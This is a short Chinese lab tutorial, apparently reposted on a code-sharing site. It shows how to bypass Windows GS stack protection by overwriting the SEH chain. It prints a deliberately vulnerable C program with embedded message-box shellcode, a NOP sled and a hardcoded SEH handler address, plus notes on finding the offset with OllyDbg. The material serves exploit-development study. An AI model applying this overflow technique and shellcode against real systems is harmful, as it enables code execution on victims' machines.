OD: GS Bypasing via SEH

时间:2014-08-10 21:13:50   收藏:0   阅读:360

通过 SEH 绕过 GS 保护

GS 机制没对 SEH 提供保护,所以可心通过攻击异常来绕过 GS。

实验环境为:
VMware : Windows 2000 sp4, 此版本无 SafeSEH 的影响
Visual Studio 2005
    Project Properties : Release, Disable Optimization

代码如下:

 1 #include <string.h>
 2 char shellcode[]=
 3 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
 4 "\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
 5 "\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
 6 "\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
 7 "\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
 8 "\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
 9 "\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
10 "\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
11 "\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
12 "\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
13 "\x53\xFF\x57\xFC\x53\xFF\x57\xF8"      // 168 字节的弹窗 shellcode
14 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
15 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
16 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
17 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
18 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
19 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
20 "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
21 "\x90\x90\x90\x90"  // 116 字节的 nop,  168 + 116 = 284
22 "\x90\x90\x90\x90"  // seh chain
23 "\x94\xFE\x12\x00"  // seh handler
24 ;
25 void test(char * input)
26 {
27     char buf[200];
28     strcpy(buf,input);
29     strcat(buf,input);    // destroy stack frame & throw exception
30 }
31 void main()
32 {
33     test(shellcode);
34 }

函数 test() 存在典型溢出漏洞,line 28 处的 strcpy 会溢出 buf[],当 char* input 足够长时 SEH 链表会被覆盖;line 29 处的 strcat() 会破坏栈帧,触发异常。

shellcode 的长度要事先通过 OllyDbg 调试确定。实验中 SEH Chain 的第一个节点距离栈帧中 buf 的距离为 284,line 22-23 覆盖 SEH 第一节点。

OD: GS Bypasing via SEH,布布扣,bubuko.com

评论(0
© 2014 mamicode.com 版权所有 京ICP备13008772号-2  联系我们:gaon5@hotmail.com
迷上了代码!